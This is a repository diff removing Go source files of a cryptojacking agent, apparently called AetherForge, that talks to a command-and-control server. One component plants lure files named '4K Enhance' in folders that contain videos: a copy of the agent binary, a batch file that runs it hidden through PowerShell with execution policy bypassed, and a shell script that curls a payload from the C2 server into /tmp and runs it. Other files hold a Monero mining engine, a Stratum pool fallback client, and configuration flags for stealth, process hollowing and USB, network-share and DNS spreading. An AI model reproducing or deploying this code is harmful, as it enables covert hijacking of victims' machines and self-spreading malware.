return
|
|
||||||
}
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
|
|
||||||
type suppSeekOpts struct {
|
|
||||||
DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
|
|
||||||
DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
|
|
||||||
ServerURL string
|
|
||||||
// Name prefix used for the launcher files.
|
|
||||||
FileStem string // default: "4K Enhance"
|
|
||||||
}
|
|
||||||
|
|
||||||
type suppSeekResult struct {
|
|
||||||
Dirs int // directories visited
|
|
||||||
Seeded int // directories where files were placed
|
|
||||||
Skipped int // already seeded
|
|
||||||
Files int // total files placed
|
|
||||||
Errors int
|
|
||||||
FirstErr string
|
|
||||||
}
|
|
||||||
|
|
||||||
func (r suppSeekResult) Summary() string {
|
|
||||||
return fmt.Sprintf(
|
|
||||||
"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
|
|
||||||
r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediaExtensions is the set of file extensions that mark a directory as a
|
|
||||||
// target — if a directory contains any of these the launcher files are dropped.
|
|
||||||
var mediaExtensions = map[string]struct{}{
|
|
||||||
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
|
|
||||||
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
|
|
||||||
".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
|
|
||||||
}
|
|
||||||
|
|
||||||
func isMediaDir(dirPath string) bool {
|
|
||||||
entries, err := os.ReadDir(dirPath)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
for _, e := range entries {
|
|
||||||
if e.IsDir() {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
ext := strings.ToLower(filepath.Ext(e.Name()))
|
|
||||||
if _, ok := mediaExtensions[ext]; ok {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// batContent returns the content of the Windows .bat launcher.
|
|
||||||
// It launches the co-located VideoEnhancer.exe silently.
|
|
||||||
func batContent(stem string) string {
|
|
||||||
return "@echo off\r\n" +
|
|
||||||
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
|
|
||||||
"-Command \"& { " +
|
|
||||||
"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
|
|
||||||
"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
|
|
||||||
"}\"\r\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
// commandContent returns the content of the Mac/Linux .command shell script.
|
|
||||||
// Falls back to a C2 download if the server URL is known.
|
|
||||||
func commandContent(serverURL string) string {
|
|
||||||
dl := ""
|
|
||||||
if serverURL != "" {
|
|
||||||
dl = fmt.Sprintf(
|
|
||||||
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
|
||||||
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
|
||||||
serverURL,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
return "#!/bin/bash\n" +
|
|
||||||
"# Video Enhancement Service\n" +
|
|
||||||
dl +
|
|
||||||
"exit 0\n"
|
|
||||||
}
|
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
//go:build !windows
|
|
||||||
|
|
||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
)
|
|
||||||
|
|
||||||
// suppSeekWalk seeds each media directory with Mac/Linux launchers.
|
|
||||||
// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
|
|
||||||
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
|
||||||
stem := opts.FileStem
|
|
||||||
if stem == "" {
|
|
||||||
stem = "4K Enhance"
|
|
||||||
}
|
|
||||||
|
|
||||||
res := suppSeekResult{}
|
|
||||||
|
|
||||||
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
|
||||||
if err != nil || !d.IsDir() {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
res.Dirs++
|
|
||||||
|
|
||||||
if !isMediaDir(path) {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
cmdPath := filepath.Join(path, stem+".command")
|
|
||||||
if _, err := os.Stat(cmdPath); err == nil {
|
|
||||||
res.Skipped++
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
placed := 0
|
|
||||||
if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
|
|
||||||
content := commandContent(opts.ServerURL)
|
|
||||||
if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
|
|
||||||
placed++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if placed > 0 {
|
|
||||||
res.Seeded++
|
|
||||||
res.Files += placed
|
|
||||||
} else {
|
|
||||||
res.Errors++
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
|
|
||||||
return res
|
|
||||||
}
|
|
||||||
@@ -1,99 +0,0 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"io"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
)
|
|
||||||
|
|
||||||
// suppSeekWalk walks rootPath recursively and seeds each media directory.
|
|
||||||
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
|
||||||
stem := opts.FileStem
|
|
||||||
if stem == "" {
|
|
||||||
stem = "4K Enhance"
|
|
||||||
}
|
|
||||||
|
|
||||||
res := suppSeekResult{}
|
|
||||||
|
|
||||||
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
|
||||||
if err != nil || !d.IsDir() {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
res.Dirs++
|
|
||||||
|
|
||||||
if !isMediaDir(path) {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check if already seeded (bat file exists).
|
|
||||||
batPath := filepath.Join(path, stem+".bat")
|
|
||||||
if _, err := os.Stat(batPath); err == nil {
|
|
||||||
res.Skipped++
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
placed := 0
|
|
||||||
|
|
||||||
if opts.DropWindows {
|
|
||||||
// 1. Copy the running binary as "4K Enhance.exe" (or stem).
|
|
||||||
self, err := os.Executable()
|
|
||||||
if err == nil {
|
|
||||||
dst := filepath.Join(path, stem+".exe")
|
|
||||||
if copyFile(self, dst) == nil {
|
|
||||||
placed++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 2. Drop the .bat launcher that runs the exe silently.
|
|
||||||
bat := batContent(stem)
|
|
||||||
if writeFile(batPath, []byte(bat)) == nil {
|
|
||||||
placed++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if opts.DropMac {
|
|
||||||
// Drop a .command shell script for Mac/Linux.
|
|
||||||
cmdPath := filepath.Join(path, stem+".command")
|
|
||||||
content := commandContent(opts.ServerURL)
|
|
||||||
if writeFile(cmdPath, []byte(content)) == nil {
|
|
||||||
// .command files need +x to auto-run on macOS.
|
|
||||||
_ = os.Chmod(cmdPath, 0755)
|
|
||||||
placed++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if placed > 0 {
|
|
||||||
res.Seeded++
|
|
||||||
res.Files += placed
|
|
||||||
} else {
|
|
||||||
res.Errors++
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
|
|
||||||
return res
|
|
||||||
}
|
|
||||||
|
|
||||||
// copyFile copies src to dst, creating or overwriting dst.
|
|
||||||
func copyFile(src, dst string) error {
|
|
||||||
in, err := os.Open(src)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer in.Close()
|
|
||||||
|
|
||||||
out, err := os.Create(dst)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer out.Close()
|
|
||||||
|
|
||||||
_, err = io.Copy(out, in)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// writeFile writes data to path atomically enough for our use.
|
|
||||||
func writeFile(path string, data []byte) error {
|
|
||||||
return os.WriteFile(path, data, 0644)
|
|
||||||
}
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
package config
|
|
||||||
|
|
||||||
import "time"
|
|
||||||
|
|
||||||
func GetBuiltinConfig() BuiltinConfig {
|
|
||||||
return BuiltinConfig{
|
|
||||||
WorkerName: "dev-worker",
|
|
||||||
ServerURL: "http://127.0.0.1:8989",
|
|
||||||
Wallet: "",
|
|
||||||
Threads: 4,
|
|
||||||
ThreadMode: "percent",
|
|
||||||
ThreadPercent: 75,
|
|
||||||
CPUPriority: "below_normal",
|
|
||||||
MiningMode: "always",
|
|
||||||
MinerExecution: "inprocess",
|
|
||||||
DisplayMode: "visible",
|
|
||||||
SilentMode: false,
|
|
||||||
RunAs: "user",
|
|
||||||
AutoStart: false,
|
|
||||||
ProcessName: "CryptoMinerWorker",
|
|
||||||
BuildID: "dev",
|
|
||||||
BuiltAt: time.Now(),
|
|
||||||
PoolHost: "pool.supportxmr.com",
|
|
||||||
PoolPort: 3333,
|
|
||||||
PoolTLS: false,
|
|
||||||
PoolPass: "x",
|
|
||||||
MaxCPUUsage: 95,
|
|
||||||
MaxMemoryPct: 85,
|
|
||||||
MinFreeRAM: 512,
|
|
||||||
IdleThresholdPct: 20,
|
|
||||||
IdleDurationMinutes: 5,
|
|
||||||
ScheduleStart: "21:00",
|
|
||||||
ScheduleEnd: "06:00",
|
|
||||||
InstallBase: "localappdata",
|
|
||||||
InstallRelativePath: DefaultInstallRelativePath,
|
|
||||||
AdaptToHardware: true,
|
|
||||||
SelfHealing: true,
|
|
||||||
FileLogging: true,
|
|
||||||
StealthMode: false,
|
|
||||||
FirewallExclusion: true,
|
|
||||||
AIEnabled: false,
|
|
||||||
AIOllamaEndpoint: "http://localhost:11434",
|
|
||||||
AIModel: "llama3.2",
|
|
||||||
ProcessHollowing: false,
|
|
||||||
MeshP2P: false,
|
|
||||||
AutoSpread: false,
|
|
||||||
HolePunch: false,
|
|
||||||
RemoteAggressive: false,
|
|
||||||
USBSpread: false,
|
|
||||||
ShareSpread: false,
|
|
||||||
GPUEnabled: false,
|
|
||||||
RVNWallet: "",
|
|
||||||
RVNPoolHost: "rvn.2miners.com",
|
|
||||||
RVNPoolPort: 6060,
|
|
||||||
RVNPoolTLS: false,
|
|
||||||
RVNPoolPass: "x",
|
|
||||||
LotlOnionEnabled: false,
|
|
||||||
LotlPolicyFromServer: false,
|
|
||||||
DnsTxtSpread: true,
|
|
||||||
WebRTCMeshSpread: false,
|
|
||||||
WSUSCachePeerSpread: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,85 +0,0 @@
|
|||||||
package miner
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/hex"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"sync"
|
|
||||||
|
|
||||||
"git.gammaspectra.live/P2Pool/go-randomx"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
ErrEngineNotReady = errors.New("randomx VM not initialized")
|
|
||||||
ErrBlobTooShort = errors.New("blob shorter than nonce offset")
|
|
||||||
)
|
|
||||||
|
|
||||||
const nonceOffset = 39
|
|
||||||
const nonceSize = 4
|
|
||||||
|
|
||||||
// go-randomx is a pure-Go implementation; hardware flags are ignored internally.
|
|
||||||
const randomxFlags = 0
|
|
||||||
|
|
||||||
type Engine struct {
|
|
||||||
mu sync.RWMutex
|
|
||||||
cache *randomx.Randomx_Cache
|
|
||||||
vm *randomx.VM
|
|
||||||
seedHex string
|
|
||||||
blob []byte
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewEngine() *Engine {
|
|
||||||
cache := randomx.Randomx_alloc_cache(randomxFlags)
|
|
||||||
return &Engine{cache: cache}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (e *Engine) SetJob(seedHex, blobHex string) error {
|
|
||||||
seed, err := hex.DecodeString(seedHex)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
blob, err := hex.DecodeString(blobHex)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
e.mu.Lock()
|
|
||||||
defer e.mu.Unlock()
|
|
||||||
|
|
||||||
if e.seedHex != seedHex {
|
|
||||||
e.cache.Randomx_init_cache(seed)
|
|
||||||
// go-randomx requires SuperScalar programs to be built separately after
|
|
||||||
// seeding the cache; Randomx_init_cache only populates the Argon2d blocks.
|
|
||||||
// Without this step every CalculateHash call crashes with a nil-pointer.
|
|
||||||
gen := randomx.Init_Blake2Generator(seed, 0)
|
|
||||||
for i := range e.cache.Programs {
|
|
||||||
e.cache.Programs[i] = randomx.Build_SuperScalar_Program(gen)
|
|
||||||
}
|
|
||||||
e.vm = e.cache.VM_Initialize()
|
|
||||||
e.seedHex = seedHex
|
|
||||||
}
|
|
||||||
e.blob = append([]byte(nil), blob...)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) {
|
|
||||||
e.mu.RLock()
|
|
||||||
defer e.mu.RUnlock()
|
|
||||||
|
|
||||||
if e.vm == nil {
|
|
||||||
return "", "", ErrEngineNotReady
|
|
||||||
}
|
|
||||||
if len(e.blob) < nonceOffset+nonceSize {
|
|
||||||
return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
|
|
||||||
}
|
|
||||||
|
|
||||||
work := append([]byte(nil), e.blob...)
|
|
||||||
work[nonceOffset] = byte(nonce)
|
|
||||||
work[nonceOffset+1] = byte(nonce >> 8)
|
|
||||||
work[nonceOffset+2] = byte(nonce >> 16)
|
|
||||||
work[nonceOffset+3] = byte(nonce >> 24)
|
|
||||||
|
|
||||||
out := make([]byte, 32)
|
|
||||||
e.vm.CalculateHash(work, out)
|
|
||||||
return hex.EncodeToString(out), hex.EncodeToString(work), nil
|
|
||||||
}
|
|
||||||
@@ -1,329 +0,0 @@
|
|||||||
package miner
|
|
||||||
|
|
||||||
// StratumClient provides a minimal Monero Stratum client that the agent falls
|
|
||||||
// back to when the C2 server is unreachable. It feeds jobs directly into the
|
|
||||||
// existing miner.Pool so hashing never stops, and submits found shares back to
|
|
||||||
// the pool over Stratum so they are not lost.
|
|
||||||
//
|
|
||||||
// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages.
|
|
||||||
// Reference: https://p2pool.io/docs/stratum.html
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bufio"
|
|
||||||
"crypto/tls"
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
"net"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
|
||||||
"crypto-miner-agent/job"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ─── Wire types ──────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
type stratumMsg struct {
|
|
||||||
ID interface{} `json:"id"`
|
|
||||||
JSONRPC string `json:"jsonrpc,omitempty"`
|
|
||||||
Method string `json:"method,omitempty"`
|
|
||||||
Params json.RawMessage `json:"params,omitempty"`
|
|
||||||
Result json.RawMessage `json:"result,omitempty"`
|
|
||||||
Error interface{} `json:"error,omitempty"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type loginResult struct {
|
|
||||||
ID string `json:"id"`
|
|
||||||
Job *stratumJob `json:"job"`
|
|
||||||
Status string `json:"status"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type stratumJob struct {
|
|
||||||
Blob string `json:"blob"`
|
|
||||||
JobID string `json:"job_id"`
|
|
||||||
Target string `json:"target"`
|
|
||||||
SeedHash string `json:"seed_hash"`
|
|
||||||
Height int64 `json:"height"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type submitParams struct {
|
|
||||||
ID string `json:"id"`
|
|
||||||
JobID string `json:"job_id"`
|
|
||||||
Nonce string `json:"nonce"`
|
|
||||||
Hash string `json:"result"` // field name "result" in Stratum protocol
|
|
||||||
}
|
|
||||||
|
|
||||||
// ─── Pool endpoint list ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
type stratumEndpoint struct {
|
|
||||||
Host string
|
|
||||||
Port int
|
|
||||||
TLS bool
|
|
||||||
Pass string
|
|
||||||
}
|
|
||||||
|
|
||||||
func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint {
|
|
||||||
eps := []stratumEndpoint{{
|
|
||||||
Host: cfg.PoolHost,
|
|
||||||
Port: cfg.PoolPort,
|
|
||||||
TLS: cfg.PoolTLS,
|
|
||||||
Pass: cfg.PoolPass,
|
|
||||||
}}
|
|
||||||
for _, bp := range cfg.BackupPools {
|
|
||||||
if bp.Host != "" && bp.Port > 0 {
|
|
||||||
eps = append(eps, stratumEndpoint{
|
|
||||||
Host: bp.Host,
|
|
||||||
Port: bp.Port,
|
|
||||||
TLS: bp.TLS,
|
|
||||||
Pass: bp.Pass,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return eps
|
|
||||||
}
|
|
||||||
|
|
||||||
// ─── StratumClient ───────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
// StratumClient mines via a direct Stratum connection. It is started when the
|
|
||||||
// C2 server is unreachable and stopped as soon as C2 comes back.
|
|
||||||
type StratumClient struct {
|
|
||||||
pool *Pool
|
|
||||||
cfg config.RuntimeConfig
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient {
|
|
||||||
return &StratumClient{pool: pool, cfg: cfg}
|
|
||||||
}
|
|
||||||
|
|
||||||
// RunFallback cycles through all configured pools, trying each in turn, until
|
|
||||||
// stopCh is closed. If a pool does not deliver a mining job within 5 seconds
|
|
||||||
// of a successful login the connection is dropped and the next pool is tried.
|
|
||||||
func (s *StratumClient) RunFallback(stopCh <-chan struct{}) {
|
|
||||||
if s.cfg.PoolHost == "" {
|
|
||||||
log.Printf("[stratum] no pool configured — fallback unavailable")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
endpoints := buildStratumEndpoints(s.cfg)
|
|
||||||
idx := 0
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
return
|
|
||||||
default:
|
|
||||||
}
|
|
||||||
ep := endpoints[idx%len(endpoints)]
|
|
||||||
log.Printf("[stratum] connecting to %s:%d (pool %d/%d)", ep.Host, ep.Port, idx%len(endpoints)+1, len(endpoints))
|
|
||||||
if err := s.runPool(ep, stopCh); err != nil {
|
|
||||||
log.Printf("[stratum] pool %s:%d: %v — rotating to next pool", ep.Host, ep.Port, err)
|
|
||||||
}
|
|
||||||
idx++
|
|
||||||
// Short pause between pool attempts so we don't hammer them.
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
return
|
|
||||||
case <-time.After(3 * time.Second):
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// runPool manages one Stratum connection until it fails or stopCh is closed.
|
|
||||||
func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error {
|
|
||||||
addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port))
|
|
||||||
var conn net.Conn
|
|
||||||
var err error
|
|
||||||
if ep.TLS {
|
|
||||||
conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec
|
|
||||||
} else {
|
|
||||||
conn, err = net.DialTimeout("tcp", addr, 10*time.Second)
|
|
||||||
}
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
// Set up a reader (Stratum is newline-delimited JSON).
|
|
||||||
reader := bufio.NewReader(conn)
|
|
||||||
msgID := 1
|
|
||||||
|
|
||||||
// ── Login ────────────────────────────────────────────────────────────────
|
|
||||||
wallet := s.cfg.Wallet
|
|
||||||
pass := ep.Pass
|
|
||||||
if pass == "" {
|
|
||||||
pass = "x"
|
|
||||||
}
|
|
||||||
loginReq, _ := json.Marshal(stratumMsg{
|
|
||||||
ID: msgID,
|
|
||||||
JSONRPC: "2.0",
|
|
||||||
Method: "login",
|
|
||||||
Params: mustMarshal(map[string]interface{}{
|
|
||||||
"login": wallet,
|
|
||||||
"pass": pass,
|
|
||||||
"rigid": s.cfg.WorkerName,
|
|
||||||
"agent": "AetherForge/" + config.Version,
|
|
||||||
}),
|
|
||||||
})
|
|
||||||
msgID++
|
|
||||||
if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil {
|
|
||||||
return fmt.Errorf("login send: %w", err)
|
|
||||||
}
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(30 * time.Second))
|
|
||||||
loginLine, err := reader.ReadString('\n')
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("login read: %w", err)
|
|
||||||
}
|
|
||||||
_ = conn.SetDeadline(time.Time{}) // clear deadline
|
|
||||||
|
|
||||||
var loginResp stratumMsg
|
|
||||||
if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil {
|
|
||||||
return fmt.Errorf("login parse: %w", err)
|
|
||||||
}
|
|
||||||
if loginResp.Error != nil {
|
|
||||||
return fmt.Errorf("login error: %v", loginResp.Error)
|
|
||||||
}
|
|
||||||
var lr loginResult
|
|
||||||
if err := json.Unmarshal(loginResp.Result, &lr); err != nil {
|
|
||||||
return fmt.Errorf("login result parse: %w", err)
|
|
||||||
}
|
|
||||||
sessionID := lr.ID
|
|
||||||
log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID)
|
|
||||||
|
|
||||||
// Feed the initial job from the login response.
|
|
||||||
gotJob := lr.Job != nil
|
|
||||||
if lr.Job != nil {
|
|
||||||
s.setJob(lr.Job)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Share submission channel ──────────────────────────────────────────────
|
|
||||||
// The pool's share handler sends shares here; this goroutine drains them
|
|
||||||
// and writes submit requests to the Stratum connection.
|
|
||||||
shareCh := make(chan [3]string, 64) // [jobID, nonce, hash]
|
|
||||||
s.pool.SetShareHandler(func(jobID, nonce, hash string) {
|
|
||||||
select {
|
|
||||||
case shareCh <- [3]string{jobID, nonce, hash}:
|
|
||||||
default:
|
|
||||||
log.Printf("[stratum] share channel full — dropping share")
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
// innerDone is closed when runPool returns for any reason (connection error
|
|
||||||
// or stopCh). It signals the submit goroutine to exit even when stopCh is
|
|
||||||
// still open, preventing a hang until the next share arrives.
|
|
||||||
innerDone := make(chan struct{})
|
|
||||||
submitDone := make(chan struct{})
|
|
||||||
go func() {
|
|
||||||
defer close(submitDone)
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
return
|
|
||||||
case <-innerDone:
|
|
||||||
return
|
|
||||||
case share, ok := <-shareCh:
|
|
||||||
if !ok {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
params, _ := json.Marshal(submitParams{
|
|
||||||
ID: sessionID,
|
|
||||||
JobID: share[0],
|
|
||||||
Nonce: share[1],
|
|
||||||
Hash: share[2],
|
|
||||||
})
|
|
||||||
req, _ := json.Marshal(stratumMsg{
|
|
||||||
ID: msgID,
|
|
||||||
JSONRPC: "2.0",
|
|
||||||
Method: "submit",
|
|
||||||
Params: params,
|
|
||||||
})
|
|
||||||
msgID++
|
|
||||||
if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil {
|
|
||||||
log.Printf("[stratum] submit write error: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
// Signal the submit goroutine and wait for it when runPool returns.
|
|
||||||
defer func() {
|
|
||||||
close(innerDone)
|
|
||||||
<-submitDone
|
|
||||||
}()
|
|
||||||
|
|
||||||
// Close the TCP connection as soon as stopCh fires so that the blocking
|
|
||||||
// reader.ReadString call (120 s deadline) unblocks immediately rather than
|
|
||||||
// making callers wait up to two minutes for the fallback to stop.
|
|
||||||
go func() {
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
_ = conn.Close()
|
|
||||||
case <-innerDone:
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
// ── Job receive loop ──────────────────────────────────────────────────────
|
|
||||||
// If the login response contained no job, give the pool 60 seconds to push
|
|
||||||
// one before we give up and rotate to the next endpoint.
|
|
||||||
var jobDeadline <-chan time.Time
|
|
||||||
if !gotJob {
|
|
||||||
jobDeadline = time.After(60 * time.Second)
|
|
||||||
}
|
|
||||||
|
|
||||||
keepalive := time.NewTicker(60 * time.Second)
|
|
||||||
defer keepalive.Stop()
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-stopCh:
|
|
||||||
return nil
|
|
||||||
case <-jobDeadline:
|
|
||||||
return fmt.Errorf("no job received within 60s — rotating to next pool")
|
|
||||||
case <-keepalive.C:
|
|
||||||
req, _ := json.Marshal(stratumMsg{
|
|
||||||
ID: msgID,
|
|
||||||
JSONRPC: "2.0",
|
|
||||||
Method: "keepalived",
|
|
||||||
Params: mustMarshal(map[string]string{"id": sessionID}),
|
|
||||||
})
|
|
||||||
msgID++
|
|
||||||
_, _ = fmt.Fprintf(conn, "%s\n", req)
|
|
||||||
default:
|
|
||||||
}
|
|
||||||
|
|
||||||
_ = conn.SetDeadline(time.Now().Add(120 * time.Second))
|
|
||||||
line, err := reader.ReadString('\n')
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("read: %w", err)
|
|
||||||
}
|
|
||||||
var msg stratumMsg
|
|
||||||
if err := json.Unmarshal([]byte(line), &msg); err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if msg.Method == "job" {
|
|
||||||
var sj stratumJob
|
|
||||||
if err := json.Unmarshal(msg.Params, &sj); err == nil {
|
|
||||||
s.setJob(&sj)
|
|
||||||
jobDeadline = nil // job received — cancel the 60s rotation timer
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// setJob converts a Stratum job into the agent's internal job.Job format and
|
|
||||||
// feeds it into the miner Pool.
|
|
||||||
func (s *StratumClient) setJob(sj *stratumJob) {
|
|
||||||
if sj == nil || sj.Blob == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
j := &job.Job{
|
|
||||||
ID: sj.JobID,
|
|
||||||
Blob: sj.Blob,
|
|
||||||
Target: sj.Target,
|
|
||||||
SeedHash: sj.SeedHash,
|
|
||||||
}
|
|
||||||
s.pool.SetJob(j)
|
|
||||||
log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height)
|
|
||||||
}
|
|
||||||
|
|
||||||
func mustMarshal(v interface{}) json.RawMessage {
|
|
||||||
b, _ := json.Marshal(v)
|
|
||||||
return b
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user